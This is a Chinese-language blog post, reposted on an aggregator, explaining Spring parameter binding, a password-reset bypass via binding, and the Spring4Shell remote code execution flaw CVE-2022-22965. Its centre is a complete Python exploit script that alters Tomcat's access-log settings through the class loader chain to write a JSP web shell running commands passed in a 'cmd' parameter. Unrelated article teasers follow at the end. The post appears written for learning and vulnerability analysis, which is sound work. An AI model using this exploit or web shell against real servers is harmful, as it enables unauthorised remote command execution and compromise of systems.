JAVA安全之Spring参数绑定漏洞CVE-2022-22965

前言

在介绍这个漏洞前,介绍下在spring下的参数绑定

在Spring框架中,参数绑定是一种常见的操作,用于将HTTP请求的参数值绑定到Controller方法的参数上。下面是一些示例,展示了如何在Spring中进行参数绑定:

示例1:

@Controller
@RequestMapping("/user")
public class UserController {@GetMapping("/{id}")public String getUserById(@PathVariable("id") int userId, Model model) {// 根据userId查询用户信息并返回User user = userService.getUserById(userId);model.addAttribute("user", user);return "user";}@PostMapping("/add")public String addUser(@RequestParam("name") String name, @RequestParam("age") int age, Model model) {// 创建新用户并保存到数据库User newUser = new User(name, age);userService.addUser(newUser);model.addAttribute("user", newUser);return "user";}
}

上述示例中,我们使用了@PathVariable@RequestParam注解来进行参数绑定:

  • @PathVariable用于将URL中的路径变量与方法参数进行绑定。在getUserById方法中,我们将URL中的"id"作为参数绑定到userId上。

  • @RequestParam用于将HTTP请求参数与方法参数进行绑定。在addUser方法中,我们将请求参数"name"和"age"分别绑定到nameage上。

通过这种方式,Spring框架能够自动将请求参数的值绑定到Controller方法的参数上,简化了参数处理的过程。

示例2:

在Spring框架中,除了绑定基本类型的参数外,我们也经常需要绑定对象作为方法的参数。下面是一个示例,展示了如何在Spring中进行对象的参数绑定:

假设有一个名为User的JavaBean类:

javaCopy Codepublic class User {private String name;private int age;// 省略构造函数、getter和setter 
}

然后在Controller中,我们可以将User对象作为方法的参数进行绑定

javaCopy Code@Controller
@RequestMapping("/user")
public class UserController {@PostMapping("/add")public String addUser(@ModelAttribute User user, Model model) {// 通过@ModelAttribute注解将HTTP请求参数绑定到User对象userService.addUser(user);model.addAttribute("user", user);return "user";}
}

我们使用了@ModelAttribute注解将HTTP请求参数绑定到User对象上。Spring框架会自动根据HTTP请求的参数名和User对象的属性名进行匹配,并进行对象的参数绑定。

当客户端发送一个包含name和age参数的POST请求时,Spring框架将自动创建一个User对象,并将请求参数的值绑定到User对象的对应属性上。

这种方式能够方便地处理复杂的对象绑定工作,使得我们在Controller中可以直接操作领域对象,而无需手动解析和绑定参数。

参数绑定漏洞

参数绑定这个机制,使得我们对绑定的对象实现了可控。如果代码对这个对象又做了其他验证处理,那么就非常可能导致某种逻辑漏洞,绕过漏洞。

看如下的代码

@Controller
@SessionAttributes({"user"})
public class ResetPasswordController {private static final Logger logger = LoggerFactory.getLogger(ResetPasswordController.class);@Autowiredprivate UserService userService;public ResetPasswordController() {}@RequestMapping(value = {"/reset"},method = {RequestMethod.GET})public String resetViewHandler() {logger.info("Welcome reset ! ");return "reset";}@RequestMapping(value = {"/reset"},method = {RequestMethod.POST})public String resetHandler(@RequestParam String username, Model model) {logger.info("Checking username " + username);User user = this.userService.findByName(username);if (user == null) {logger.info("there is no user with name " + username);model.addAttribute("error", "Username is not found");return "reset";} else {model.addAttribute("user", user);return "redirect:resetQuestion";}}@RequestMapping(value = {"/resetQuestion"},method = {RequestMethod.GET})public String resetViewQuestionHandler(@ModelAttribute User user) {logger.info("Welcome resetQuestion ! " + user);return "resetQuestion";}@RequestMapping(value = {"/resetQuestion"},method = {RequestMethod.POST})public String resetQuestionHandler(@RequestParam String answerReset, SessionStatus status, User user, Model model) {logger.info("Checking resetQuestion ! " + answerReset + " for " + user);if (!user.getAnswer().equals(answerReset)) {logger.info("Answer in db " + user.getAnswer() + " Answer " + answerReset);model.addAttribute("error", "Incorrect answer");return "resetQuestion";} else {status.setComplete();String newPassword = GeneratePassword.generatePassowrd(10);user.setPassword(newPassword);this.userService.updateUser(user);model.addAttribute("message", "Your new password is " + newPassword);return "success";}}}

由于有了参数绑定这个机制,user对象是我们用户可控的!,可是在post提交的/resetQuestion 方法中if(!user.getAnswer().equals(answerReset)) 居然从user对象中取数据来做验证,那么我们可以尝试利用参数绑定的机制,参数设为?answer=hello&answerReset=hello,使得equals成功,从而绕过验证。

参考自动绑定漏洞_对象自动绑定漏洞-CSDN博客

war包下载https://github.com/3wapp/ZeroNights-HackQuest-2016

CVE-2022-22965

受影响范围: Spring Framework < 5.3.18 Spring Framework < 5.2.20 JDK ≥ 9 不受影响版本: Spring Framework = 5.3.18 Spring Framework = 5.2.20 JDK < 9 与Tomcat版本有关

注:jdk版本的不同,可能导致漏洞利用成功与否

思考:参数绑定可以给对应对象的属性赋值,有没有一种可能可以给其他的对象赋值?

为了实现这种可能,先了解下参数绑定的底层机制!

由于java语言复杂的对象继承关系,参数绑定也有多级参数绑定的机制。如contry.province.city.district=yuelu,
其内部的调用链也应是
Contry.getProvince()
        Province.getCity()
                City.getDistrict()
                        District.setDistrictName()

Spring自带: BeanWrapperlmpl------Spring容器中管理的对象,自动调用get/set方法
BeanWrapperlmpl是对PropertyDescriptor的进一步封装

我们都知道在Java中,所有的类都隐式地继承自java.lang.Object类。 Object类是Java中所有类的根类,它定义了一些通用的方法,因此这些方法可以在任何对象上调用。

  • getClass(): 返回对象所属的类。

是否可以通过class对象跳转到其他对象上。

在spring是世界中一切都是javabean,就连输出的log日志也是一个javabean,如果我们能够修改这个javabean,就意味着输出的log后缀名可控,其内容也可控。那好我们直接改成jsp马的形式

漏洞搭建复现

我们使用maven工具加入spring boot,模拟一个参数绑定的Controller,生成war包放入tomcat中

参考文章Spring 远程命令执行漏洞(CVE-2022-22965)原理分析和思考 (seebug.org)

附上poc

import requests
import argparse
from urllib.parse import urlparse
import time# Set to bypass errors if the target site has SSL issues
requests.packages.urllib3.disable_warnings()post_headers = {"Content-Type": "application/x-www-form-urlencoded"
}get_headers = {"prefix": "<%","suffix": "%>//",# This may seem strange, but this seems to be needed to bypass some check that looks for "Runtime" in the log_pattern"c": "Runtime",
}def run_exploit(url, directory, filename):log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}"log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}"log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="exp_data = "&".join([log_pattern, log_file_suffix, log_file_dir, log_file_prefix, log_file_date_format])# Setting and unsetting the fileDateFormat field allows for executing the exploit multiple times# If re-running the exploit, this will create an artifact of {old_file_name}_.jspfile_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_"print("[*] Resetting Log Variables.")ret = requests.post(url, headers=post_headers, data=file_date_data, verify=False)print("[*] Response code: %d" % ret.status_code)# Change the tomcat log location variablesprint("[*] Modifying Log Configurations")ret = requests.post(url, headers=post_headers, data=exp_data, verify=False)print("[*] Response code: %d" % ret.status_code)# Changes take some time to populate on tomcattime.sleep(3)# Send the packet that writes the web shellret = requests.get(url, headers=get_headers, verify=False)print("[*] Response Code: %d" % ret.status_code)time.sleep(1)# Reset the pattern to prevent future writes into the filepattern_data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern="print("[*] Resetting Log Variables.")ret = requests.post(url, headers=post_headers, data=pattern_data, verify=False)print("[*] Response code: %d" % ret.status_code)def main():parser = argparse.ArgumentParser(description='Spring Core RCE')parser.add_argument('--url', help='target url', required=True)parser.add_argument('--file', help='File to write to [no extension]', required=False, default="bak")parser.add_argument('--dir', help='Directory to write to. Suggest using "webapps/[appname]" of target app',required=False, default="webapps/ROOT")file_arg = parser.parse_args().filedir_arg = parser.parse_args().dirurl_arg = parser.parse_args().urlfilename = file_arg.replace(".jsp", "")if url_arg is None:print("Must pass an option for --url")returntry:run_exploit(url_arg, dir_arg, filename)print("[+] Exploit completed")print("[+] Check your target for a shell")print("[+] File: " + filename + ".jsp")if dir_arg:location = urlparse(url_arg).scheme + "://" + urlparse(url_arg).netloc + "/" + filename + ".jsp"else:location = f"Unknown. Custom directory used. (try app/{filename}.jsp?cmd=whoami"print(f"[+] Shell should be at: {location}?cmd=whoami")except Exception as e:print(e)if __name__ == '__main__':main()

注意这个poc的逻辑 先向log文件中打入马的形式,其部分关键语段用占位符代替,这也是为了绕过防护机制的手段。之后请求的包在header将占位符填上,这时一个jsp就此形成

访问马

漏洞调试分析

给参数绑定的入函数打上断点

瞅见了我们传入的参数了吧

第一次循环这一次this还在User中(包装对象)

第二次循环跳出user对象了

有兴趣的同学可调试进入分析一哈,具体的代码逻辑为什么跳到了class对象?以博主目前的功力虽然调了很多次 但始终无法对这个机制了解彻底,所以这里也不在深究了.....

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/265418.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

代码片段管理器 SnippetsLab激活中文 for Mac

SnippetsLab Mac是Mac平台非常不错的代码片段管理器软件&#xff0c;无需使用鼠标即可快速搜索&#xff0c;预览&#xff0c;打开或复制您的代码段&#xff0c;非常简单方便。SnippetsLab使用嵌套文件夹&#xff0c;标签和智能组支持在一个地方管理所有有价值的代码片段变得简单…

打工人副业变现秘籍,某多/某手变现底层引擎-Stable Diffusion简介

Stable Diffusion是2022年发布的深度学习文本到图像生成模型,它主要用于根据文本的描述产生详细图像,尽管它也可以应用于其他任务,如

6.H3C命令行简介

6.H3C命令行简介 [H3C]:用户视图模式,仅能做基本参数配置,权限较小<H3C>:系统视图模式,可做高级配置system-view:切换到系统视图模式 quit:退出当前模式 sysname XXX:给系统命名,必须在系统视图模式下操作 display this 查看当前配置dis this int gi 0/0 :进入接口gi0…

UE5像素流实现

1.下载像素流插件(Pixel Streaming),勾选之后重启UE 2.设置额外启动参数&#xff08;-AudioMixer -PixelStreamingIPlocalhost -PixelStreamingPort8888&#xff09; 3.项目打包 4.创建项目启动快捷方式(Alt鼠标左键按住XXX.exe文件拖动) 5.快捷方式文件 配置项目运行文件参数(…

JVM虚拟机系统性学习-运行时数据区(方法区、程序计数器、直接内存)

方法区 方法区本质上是 Java 编译后代码的存储区域&#xff0c;存储了每一个类的结构信息&#xff0c;如&#xff1a;运行时常量池、成员变量、方法、构造方法和普通方法的字节码指令等内容 方法区主要存储的数据如下&#xff1a; Class 类型信息&#xff0c;如该 Class 为 …

Linux:环境变量

目录 1.基本变量 2.通过代码获取环境变量 2.1 main传参 2.2 全局变量environ 2.3 系统调用getenv() 3.在脚本文件中添加环境变量 4.环境变量通常是具有全局属性 1.基本变量 环境变量(environment variables)一般是指在操作系统中用来指定操作系统运行环境的一些参数…

vuepress-----22、其他评论方案

vuepress 支持评论 本文讲述 vuepress 站点如何集成评论系统&#xff0c;选型是 valineleancloud, 支持匿名评论&#xff0c;缺点是数据没有存储在自己手里。市面上也有其他的方案, 如 gitalk,vssue 等, 但需要用户登录 github 才能发表评论, 但 github 经常无法连接,导致体验…

指针,函数指针,二级指针,指针传参,回调函数,指针步长

文章目录 指针是什么&#xff1f;指针的定义指针的大小 指针类型指针有哪些类型&#xff1f;指针类型有什么意义&#xff1f;代码演示&#xff1a;(偏移)代码演示(指针解引用时取出的字节数)其他例子 野指针野指针的成因如何避免野指针 指针运算指针整数指针-指针指针的关系运算…

上市公司碳排放数据,shp/excel格式,总数量近3400条,含多项指标及对应可视化矢量图

基本信息. 数据名称: 上市公司碳排放数据 数据格式: Shp、excel 数据时间: 2021年 数据几何类型: 点 数据坐标系: WGS84坐标系 数据来源&#xff1a;网络公开数据 数据字段&#xff1a;www.bajidata.com 序号字段名称字段说明1province省名称2city城市名称3county区…

Linux上的MAC地址欺骗

Linux上的MAC地址欺骗 1、查看mac地址法1&#xff1a;ifconfig法2&#xff1a;ip link show 2、临时性改变 MAC 地址法1&#xff1a;使用iproute2工具包法2&#xff1a;使用macchanger工具 3、永久性改变 MAC 地址3.1 在 Fedora、RHEL下实践3.2 在 Debian、Ubuntu、Linux Mint下…

告别 Navicat!一款能支持几乎所有数据库的开源工具!

数据库连接工具&#xff0c;后端程序员必须要用到工具&#xff0c;常用的是 Navicat&#xff0c;Navicat是收费工具&#xff0c;今天给大家推荐一款开源免费的数据库连接工具 -- dbeaver。 功能特性 1、几乎支持所有数据库产品&#xff0c;包括&#xff1a;MySQL、SQL Server…

【数学建模】《实战数学建模:例题与讲解》第八讲-回归分析(含Matlab代码)

【数学建模】《实战数学建模&#xff1a;例题与讲解》第八讲-回归分析&#xff08;含Matlab代码&#xff09; 回归分析基本概念经典多元线性回归&#xff08;MLR&#xff09;主成分回归&#xff08;PCR&#xff09;偏最小二乘回归&#xff08;PLS&#xff09;建模过程应用和优势…